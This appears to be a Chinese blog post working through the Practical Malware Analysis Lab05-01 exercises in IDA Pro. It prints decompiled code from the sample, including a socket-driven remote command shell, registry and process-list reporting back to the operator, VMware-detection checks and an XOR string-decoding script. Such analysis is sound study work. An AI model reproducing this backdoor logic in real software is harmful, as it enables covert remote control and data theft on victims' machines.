lab05-1课后题

1.DLLMain的地址是什么?

在这里插入图片描述

2.使用Imports窗口并浏览到gethostbyname,导入函数定位到什么位置?

在这里插入图片描述

3.有多少函数调用了gethostbyname

快捷键x,18个

4.将精力集中在0x10001757处的对gethostname的调用,你能找出哪个DNS请求将被触发吗?在这里插入图片描述

看汇编指令,该程序在调用函数gethostbyname前将off_10019040变量入栈作为函数参数,追溯该变量值
在这里插入图片描述在这里插入图片描述得到被解析的域名

5.IDA Pro 识别了在在0x10001656处子过程的多少局部变量

.text:10001656 ; DWORD __stdcall sub_10001656(LPVOID lpThreadParameter)
.text:10001656 sub_10001656    proc near               ; DATA XREF: DllMain(x,x,x)+C8↓o
.text:10001656
.text:10001656 var_675         = byte ptr -675h
.text:10001656 var_674         = dword ptr -674h
.text:10001656 hModule         = dword ptr -670h
.text:10001656 timeout         = timeval ptr -66Ch
.text:10001656 name            = sockaddr ptr -664h
.text:10001656 var_654         = word ptr -654h
.text:10001656 Dst             = dword ptr -650h
.text:10001656 Str1            = byte ptr -644h
.text:10001656 var_640         = byte ptr -640h
.text:10001656 CommandLine     = byte ptr -63Fh
.text:10001656 Str             = byte ptr -63Dh
.text:10001656 var_638         = byte ptr -638h
.text:10001656 var_637         = byte ptr -637h
.text:10001656 var_544         = byte ptr -544h
.text:10001656 var_50C         = dword ptr -50Ch
.text:10001656 var_500         = byte ptr -500h
.text:10001656 Buf2            = byte ptr -4FCh
.text:10001656 readfds         = fd_set ptr -4BCh
.text:10001656 buf             = byte ptr -3B8h
.text:10001656 var_3B0         = dword ptr -3B0h
.text:10001656 var_1A4         = dword ptr -1A4h
.text:10001656 var_194         = dword ptr -194h
.text:10001656 WSAData         = WSAData ptr -190h
.text:10001656 lpThreadParameter= dword ptr  4

24个

6.IDA Pro识别了在0x10001656处的子过程中的多少个参数?在这里插入图片描述

一个

7. 使用Strings窗口,来在反汇编中定位字符串 \cmd.exe /c, 它位于哪儿?在这里插入图片描述在这里插入图片描述### 8. 在引用 \cmd.exe /c的代码所在区域发生了什么?在这里插入图片描述

int __cdecl sub_1000FF58(SOCKET s)
{
  int v1; // eax
  int v2; // eax
  int v3; // edi
  int v4; // eax
  char v5; // al
  int v6; // edi
  int v7; // eax
  CHAR *v8; // eax
  int v9; // eax
  int v10; // eax
  size_t v11; // eax
  size_t v12; // eax
  DWORD v13; // eax
  int v14; // ST3C_4
  int v15; // eax
  int v16; // ST3C_4
  char Str; // [esp+10h] [ebp-16C0h]
  char v19; // [esp+11h] [ebp-16BFh]
  __int16 v20; // [esp+80Dh] [ebp-EC3h]
  char v21; // [esp+80Fh] [ebp-EC1h]
  char Dest; // [esp+810h] [ebp-EC0h]
  char v23; // [esp+811h] [ebp-EBFh]
  __int16 v24; // [esp+C0Dh] [ebp-AC3h]
  char v25; // [esp+C0Fh] [ebp-AC1h]
  CHAR CommandLine; // [esp+C10h] [ebp-AC0h]
  char v27; // [esp+C11h] [ebp-ABFh]
  __int16 v28; // [esp+100Dh] [ebp-6C3h]
  char v29; // [esp+100Fh] [ebp-6C1h]
  char v30; // [esp+1010h] [ebp-6C0h]
  char v31; // [esp+1011h] [ebp-6BFh]
  __int16 v32; // [esp+110Dh] [ebp-5C3h]
  char v33; // [esp+110Fh] [ebp-5C1h]
  char Dst; // [esp+1110h] [ebp-5C0h]
  char v35; // [esp+1111h] [ebp-5BFh]
  CHAR PathName; // [esp+1113h] [ebp-5BDh]
  char Source; // [esp+1117h] [ebp-5B9h]
  __int16 v38; // [esp+150Dh] [ebp-1C3h]
  char v39; // [esp+150Fh] [ebp-1C1h]
  CHAR Buffer; // [esp+1510h] [ebp-1C0h]
  char v41; // [esp+1511h] [ebp-1BFh]
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+1618h] [ebp-B8h]
  char v43; // [esp+1628h] [ebp-A8h]
  char v44; // [esp+1629h] [ebp-A7h]
  char v45; // [esp+1659h] [ebp-77h]
  struct _STARTUPINFOA StartupInfo; // [esp+165Ch] [ebp-74h]
  struct _SECURITY_ATTRIBUTES PipeAttributes; // [esp+16A0h] [ebp-30h]
  struct _SYSTEMTIME SystemTime; // [esp+16ACh] [ebp-24h]
  DWORD v49; // [esp+16BCh] [ebp-14h]
  HANDLE hWritePipe; // [esp+16C0h] [ebp-10h]
  HANDLE hReadPipe; // [esp+16C4h] [ebp-Ch]
  DWORD NumberOfBytesRead; // [esp+16C8h] [ebp-8h]
  char buf; // [esp+16CFh] [ebp-1h]

  GetTickCount();                               // 系统启动以来经过的毫秒数
  Buffer = 0;
  memset(&v41, 0, 0x104u);
  hReadPipe = 0;
  hWritePipe = 0;
  GetCurrentDirectoryA(0x104u, &Buffer);        // 返回操作系统的当前目录
  strcat(&Buffer, asc_10095C5C);
  Dest = 0;
  memset(&v23, 0, 0x3FCu);
  v24 = 0;
  v25 = 0;
  NumberOfBytesRead = GetTickCount();
  GetLocalTime(&SystemTime);
  v49 = 1000 * sub_10003555();                  // 上次输入距现在的时间
  sprintf(
    &Dest,
    aHiMasterDDDDDD,
    SystemTime.wYear,
    SystemTime.wMonth,
    SystemTime.wDay,
    SystemTime.wHour,
    SystemTime.wMinute,
    SystemTime.wSecond,
    NumberOfBytesRead / 0x5265C00,
    NumberOfBytesRead % 0x5265C00 / 3600000,
    NumberOfBytesRead % 3600000 / 60000,
    NumberOfBytesRead % 60000 / 0x3E8,
    v49 / 0x5265C00,
    v49 % 0x5265C00 / 3600000,
    v49 % 3600000 / 60000,
    v49 % 60000 / 1000,
    dword_1008E5D0);
  v1 = strlen(&Dest);
  if ( send_m_s(s, (int)&Dest, v1) != -1 )
  {
    v2 = strlen(&Buffer);
    if ( send_m_s(s, (int)&Buffer, v2) != -1 )
    {
      while ( 2 )
      {
        v43 = 0;
        memset(&v44, 0, 0x30u);
        v45 = 0;
        CommandLine = 0;
        memset(&v27, 0, 0x3FCu);
        v28 = 0;
        v29 = 0;
        Dst = 0;
        memset(&v35, 0, 0x3FCu);
        v38 = 0;
        v39 = 0;
        Str = 0;
        memset(&v19, 0, 0x7FCu);
        v20 = 0;
        v21 = 0;
        NumberOfBytesRead = 0;
        PipeAttributes.nLength = 12;
        PipeAttributes.lpSecurityDescriptor = 0;
        PipeAttributes.bInheritHandle = 1;
        if ( CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0) )
        {
          StartupInfo.cb = 68;
          GetStartupInfoA(&StartupInfo);
          StartupInfo.hStdError = hWritePipe;
          StartupInfo.hStdOutput = hWritePipe;
          StartupInfo.wShowWindow = 0;
          StartupInfo.dwFlags = 257;
          GetSystemDirectoryA(&CommandLine, 0x400u);
          if ( dword_1008E5C4 )
            strcat(&CommandLine, aCmdExeC);     // \cmd.exe /c
          else
            strcat(&CommandLine, aCommandExeC); // \command.exe
          memset(&Dst, 0, 0xFFu);
LABEL_8:
          v3 = 0;
          while ( 1 )
          {
            v4 = recv(s, &buf, 1, 0);
            if ( v4 == -1 || !v4 )
              goto LABEL_70;
            v5 = buf - dword_1008E5D0;
            buf -= dword_1008E5D0;
            if ( buf == 8 )
            {
              v6 = v3 - 1;
              *(&Dst + v6) = 0;
              v3 = v6 - 1;
            }
            else
            {
              *(&Dst + v3) = v5;
            }
            if ( v5 == 10 || v5 == 13 )
              break;
            if ( v5 != 3 )
            {
              if ( !v5 )
                goto LABEL_8;
              if ( ++v3 < 255 )
                continue;
            }
            goto LABEL_21;
          }
          *(&Dst + v3) = 0;
LABEL_21:
          if ( !strlen(&Dst) )
            continue;
          v7 = strlen(&Dst);
          if ( send_m_s(s, (int)&Dst, v7) == -1
            || send_m_s(s, (int)::Buffer, 2) == -1
            || !memcmp(&Dst, aQuit, 4u)
            || !memcmp(&Dst, aExit, 4u) )
          {
            break;
          }
          if ( !memcmp(&Dst, aCd, 2u) )
          {
            v8 = &PathName;
          }
          else
          {
            if ( v35 != 58 || strlen(&Dst) != 2 )
            {
              if ( !memcmp(&Dst, aEnmagic, 7u) )
              {
                sprintf(&Str, a0x02x, dword_1008E5D0);
                v9 = strlen(&Str);
                send_m_s(s, (int)&Str, v9);
              }
              else if ( !memcmp(&Dst, aIdle, 4u) )
              {
                sub_10004CFF(s);
              }
              else if ( !memcmp(&Dst, aUptime, 6u) )
              {
                sub_10004DCA(s);
              }
              else if ( !memcmp(&Dst, aLanguage, 8u) )
              {
                sub_10004E79(s);
              }
              else if ( !memcmp(&Dst, aRobotwork, 9u) )
              {
                sub_100052A2(s);
              }
              else if ( !memcmp(&Dst, aMbase, 5u) )
              {
                sub_10004EE0(s);
              }
              else if ( !memcmp(&Dst, aMhost, 5u) )
              {
                sub_1000523D(s);
              }
              else if ( !memcmp(&Dst, aMmodule, 7u) )
              {
                sub_100051B6(s);
              }
              else if ( !memcmp(&Dst, aMinstall, 8u) )
              {
                sub_1000FB44(s);
              }
              else if ( !memcmp(&Dst, aInject, 6u) )
              {
                v30 = 0;
                memset(&v31, 0, 0xFCu);
                v32 = 0;
                v33 = 0;
                if ( strlen(&Dst) <= 7 )
                {
                  strcpy(&v30, aIexploreExe);
                }
                else if ( sub_100036FE(&Source) )
                {
                  v10 = atoi(&Source);
                  sub_10003C0D(v10, &v30, 0x100u);
                  if ( !strlen(&v30) )
                    continue;
                }
                else
                {
                  v11 = strlen(&Source);
                  strncpy(&v30, &Source, v11);
                }
                sub_1000D5B0(&v30, s);
              }
              else
              {
                v12 = strlen(&Dst);
                strncat(&CommandLine, &Dst, v12);
                if ( !CreateProcessA(0, &CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation) )
                {
                  v13 = GetLastError();
                  sprintf(&v43, aCreateprocessG, v13);
                  v14 = strlen(&v43);
                  v15 = send_m_s(s, (int)&v43, v14);
                  goto LABEL_69;
                }
                CloseHandle(hWritePipe);
                while ( ReadFile(hReadPipe, &Str, 0x800u, &NumberOfBytesRead, 0) )
                {
                  if ( send_m_s(s, (int)&Str, NumberOfBytesRead) == -1 )
                    goto LABEL_70;
                  memset(&Str, 0, 0x800u);
                  Sleep(1u);
                }
                CloseHandle(hReadPipe);
                if ( send_m_s(s, (int)::Buffer, 2) == -1 )
                  break;
              }
LABEL_66:
              if ( strlen(&Dst) )
                GetTickCount();
              v16 = strlen(&Buffer);
              v15 = send_m_s(s, (int)&Buffer, v16);
LABEL_69:
              if ( v15 != -1 )
                continue;
              break;
            }
            v8 = &Dst;
          }
          SetCurrentDirectoryA(v8);
          GetCurrentDirectoryA(0x104u, &Buffer);
          strcat(&Buffer, asc_10095C5C);
          send_m_s(s, (int)::Buffer, 2);
          goto LABEL_66;
        }
        break;
      }
    }
  }
LABEL_70:
  closesocket(s);
  if ( hReadPipe )
    CloseHandle(hReadPipe);
  if ( hWritePipe )
    CloseHandle(hWritePipe);
  return 0;
}

f5反编译得到c源码如上,根据对上述函数的分析,该程序创建了一个远程的shell连接,该连接有魔数进行加密
也可根据字符串直接猜出:
在这里插入图片描述

9. 在同样的区域,在0x100101C8处,看起来dword_1008E5C4好像是一个全局变量,它帮助决定走哪条路径。那恶意代码是如何设置dword_1008E5C4的呢?(提示:使用交叉引用)

我们先看一下dword_1008E5C4的交叉引用
在这里插入图片描述两个读操作,一个写操作
先看写,分析如下:
在这里插入图片描述

BOOL sub_10003695()
{
  struct _OSVERSIONINFOA VersionInformation; // [esp+0h] [ebp-94h]

  VersionInformation.dwOSVersionInfoSize = 148;
  GetVersionExA(&VersionInformation);           // 获取版本信息
  return VersionInformation.dwPlatformId == 2;  // 判断系统版本是否为Windows 7,Windows Server 2008,Windows Vista,Windows Server 2003,Windows XP或Windows 2000
}

然后看读操作,若是以上所说的系统版本,则执行cmd.exe,不是则执行command.exe
在这里插入图片描述

10. 在位于0x1000FF58处的子过程中的几百行指令中,一系列使用memcmp来比较字符串的比较。如果对robotwork的字符串比较是成功的(当memcmp返回0),会发生什么?在这里插入图片描述

LSTATUS __cdecl sub_100052A2(SOCKET s)
{
  int v2; // eax
  int v3; // eax
  int v4; // eax
  int v5; // eax
  char Dest; // [esp+4h] [ebp-60Ch]
  char v7; // [esp+5h] [ebp-60Bh]
  __int16 v8; // [esp+401h] [ebp-20Fh]
  char v9; // [esp+403h] [ebp-20Dh]
  BYTE Data; // [esp+404h] [ebp-20Ch]
  char v11; // [esp+405h] [ebp-20Bh]
  __int16 v12; // [esp+601h] [ebp-Fh]
  char v13; // [esp+603h] [ebp-Dh]
  DWORD cbData; // [esp+604h] [ebp-Ch]
  DWORD Type; // [esp+608h] [ebp-8h]
  HKEY phkResult; // [esp+60Ch] [ebp-4h]

  Dest = 0;
  Data = 0;
  memset(&v7, 0, 1020u);
  v8 = 0;
  v9 = 0;
  memset(&v11, 0, 0x1FCu);
  v12 = 0;
  v13 = 0;
  if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, aSoftwareMicros, 0, 0xF003Fu, &phkResult) )// 获取注册表项SOFTWARE\Microsoft\Windows\CurrentVersion的句柄
    return RegCloseKey(phkResult);
  if ( !RegQueryValueExA(phkResult, aWorktime, 0, &Type, &Data, &cbData) )// WorkTime
  {
    v2 = atoi((const char *)&Data);
    sprintf(&Dest, aRobotWorktimeD, v2);
    v3 = strlen(&Dest);
    sub_100038EE(s, (int)&Dest, v3);                // 将worktime通过socket包传输出去
  }
  memset(&Data, 0, 0x200u);
  if ( !RegQueryValueExA(phkResult, aWorktimes, 0, &Type, &Data, &cbData) )// Worktimes
  {
    v4 = atoi((const char *)&Data);
    sprintf(&Dest, aRobotWorktimes, v4);
    v5 = strlen(&Dest);
    sub_100038EE(s, (int)&Dest, v5);
  }
  return RegCloseKey(phkResult);
}

该程序会返回注册表中worktime或worktimes值

11. PSLIST导出函数做了什么?

该函数首先判断了系统的版本,根据版本不同进行跳转
两个跳转都执行了一样的功能,即拍摄系统快照,读取快照的进程列表,依次遍历输出进程号,进程调用的文件名,调用的模块名
在这里插入图片描述
首先在函数列表中搜索该函数

int __stdcall PSLIST(int a2, int a3, char *Str, int a5)
{
  int result; // eax

  dword_1008E5BC = 1;
  result = sub_100036C3();                      // 判断系统版本
  if ( result )                                 // 若符合条件
  {
    if ( strlen(Str) )
      result = sub_1000664C(0, Str);            // 拍摄系统快照,读取快照的进程列表,依次遍历输出进程号,进程调用的文件名,线程数,调用的模块名
    else
      result = sub_10006518();
  }
  dword_1008E5BC = 0;
  return result;
}
BOOL sub_100036C3()
{
  struct _OSVERSIONINFOA VersionInformation; // [esp+0h] [ebp-94h]

  VersionInformation.dwOSVersionInfoSize = 148;
  GetVersionExA(&VersionInformation);
  return VersionInformation.dwPlatformId == 2 && VersionInformation.dwMajorVersion >= 5;// 操作系统的ID是否为2,次要版本号是否大于5
}

在这里插入图片描述
在这里插入图片描述

signed int __cdecl sub_1000664C(SOCKET s, char *Str)
{
  DWORD v3; // eax
  signed int result; // eax
  size_t v5; // eax
  HANDLE v6; // ebx
  DWORD v7; // eax
  HMODULE hModule; // [esp+8h] [ebp-1634h]
  char v9; // [esp+Ch] [ebp-1630h]
  char Dest; // [esp+1008h] [ebp-634h]
  char v11; // [esp+1009h] [ebp-633h]
  __int16 v12; // [esp+1405h] [ebp-237h]
  char v13; // [esp+1407h] [ebp-235h]
  char Dst; // [esp+1408h] [ebp-234h]
  PROCESSENTRY32 pe; // [esp+150Ch] [ebp-130h]
  DWORD cbNeeded; // [esp+1634h] [ebp-8h]
  HANDLE hSnapshot; // [esp+1638h] [ebp-4h]

  Dest = 0;
  memset(&v11, 0, 0x3FCu);
  v12 = 0;
  v13 = 0;
  pe.dwSize = 0;
  memset(&pe.cntUsage, 0, 292u);
  hModule = 0;
  memset(&v9, 0, 0xFFCu);
  hSnapshot = CreateToolhelp32Snapshot(2u, 0);  // 获取当前进程的快照,以及进程使用的堆,模块和线程
  if ( hSnapshot == (HANDLE)-1 )
  {
    v3 = GetLastError();
    sprintf(&Dest, aCreatetoolhelp_0, v3);
    sub_100038BB(s, &Dest);
    result = 1;
  }
  else
  {
    pe.dwSize = 296;
    sprintf(&Dest, aProcessidProce);            // 输出表头:ProcessID       ProcessName         ThreadNumber
    sub_100038BB(s, &Dest);                     // send dest
    if ( dword_1008E5BC )
      sub_1000620C(aProcessidProce);
    if ( Process32First(hSnapshot, &pe) )       // 检索快照中遇到的第一个进程的信息,存入PE
    {
      do                                        // 对每个进程。。。
      {
        v5 = strlen(Str);
        if ( !strnicmp(pe.szExeFile, Str, v5) )
        {
          v6 = OpenProcess(1040u, 0, pe.th32ProcessID);// 打开进程
          EnumProcessModules(v6, &hModule, 0x1000u, &cbNeeded);// 检索指定进程中每个模块的句柄
          memset(&Dst, 0, 0x104u);
          GetModuleFileNameExA(v6, hModule, &Dst, 0x104u);// 将每个模块名存入Dst
          sprintf(&Dest, a16d20sD, pe.th32ProcessID, pe.szExeFile, pe.cntThreads);// 输出进程ID,执行的文件名,线程数
          sub_100038BB(s, &Dest);
          sprintf(&Dest, aS_1, &Dst);           // 输出调用的模块名
          sub_100038BB(s, &Dest);
          if ( dword_1008E5BC )
            sub_1000620C(a16d20sDS, pe.th32ProcessID, pe.szExeFile, pe.cntThreads, &Dst);
          CloseHandle(v6);
        }
      }
      while ( Process32Next(hSnapshot, &pe) );
    }
    else
    {
      v7 = GetLastError();
      sprintf(&Dest, aProcess32first, v7);
      sub_100038BB(s, &Dest);
    }
    sub_100038BB(s, Buffer);
    CloseHandle(hSnapshot);
    result = 0;
  }
  return result;
}

12. 使用图模式来绘制出对sub_10004E79的交叉引用图。当进入这个函数时,哪个API函数可能被调用?仅仅基于这些API函数,你会如何重命名这个函数?

先跳转到sub_10004E79,view->graphs->user xref charts
在这里插入图片描述
即可得到交叉引用图
在这里插入图片描述可以看出这个函数sub_10004E79主要调用的有GetSystemDefaultLangID和sprintf和sub_100038EE和strlen ,而sub_100038EE主要调用了send和malloc和free和__imp_strlen,然后GetSystemDefaultLangID是获取系统的默认语言的函数,send是socket发送的函数 由此我们可以按照书上的做法,将这个函数重命名为send_languageID

13. DllMain直接调用了多少个Windows API?多少个在深度为2时被调用?在这里插入图片描述

因为深度过大,流程图混乱,修改设置
在这里插入图片描述
在这里插入图片描述直接调用四个api
调用深度为二时,直接数紫块数目
在这里插入图片描述

14. 在0x10001358处,有一个对Sleep(一个使用一个包含要睡眠的毫秒数的参数的API函数)的调用。顺着代码向后看,如果这段代码执行,这个程序会睡眠多久?在这里插入图片描述在这里插入图片描述

休眠了30000ms

15. 在0x10001701处是一个对socket的调用,它的3个参数是什么?在这里插入图片描述在这里插入图片描述

三个参数的值为下:
在这里插入图片描述在这里插入图片描述在这里插入图片描述

16. 使用MSDN页面的socket和IDA Pro中的命名符号常量,你能使参数更有意义吗?修改后,参数是什么?AF_INET 用于连接连接对象是IPv4时(对应的IPv6用的是 AF_INET6)

SOCK_STREAM 用于连接方式使用TCP时候(对应的UDP对应的是SOCK_DGRAM)IPPROTO_TCP 用于继续指明传输的方式是TCP(对应的UDP是IPPROTO_UDP)

17.搜索in指令(opcode 0xED)的使用。这个指令和一个魔术字符串VMXh用来进行Vmware检测。在这个恶意代码中被使用了吗?使用对执行in指令函数的交叉引用,能发现进一步检测Vmware的证据吗?在这里插入图片描述

在这里插入图片描述
找到有用的in指令,进入代码段分析
在这里插入图片描述读取VMXh端口

18. 将你的光标跳转到0x1001D988处,你发现了什么?

在这里插入图片描述发现这里是一串数据,每位与0x55异或可得到一段字符串
在这里插入图片描述

19. 如果你安装了IDA Python插件(包括IDA Pro的商业版本插件),运行Lab05-01.py,一个IDA Pro Python脚本(确定光标是在0x1001D988处),在运行该脚本后发生了什么?在这里插入图片描述运行脚本在这里插入图片描述

在这里插入图片描述发现字符串被解密

20. 将光标放于同一位置,你如何将这个数据转成一个单一的ASCII字符串?

按键d,转为data

21. 使用一个文本编辑器打开这个脚本。它是如何工作的?

sea = ScreenEA()
#获取光标所在位置

for i in range(0x00,0x50):从当前位置开始依次读取0x50字节
        b = Byte(sea+i)
        decoded_byte = b ^ 0x55
        PatchByte(sea+i,decoded_byte)每个字节与0x55异或然后覆盖掉原来数据库中位置
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值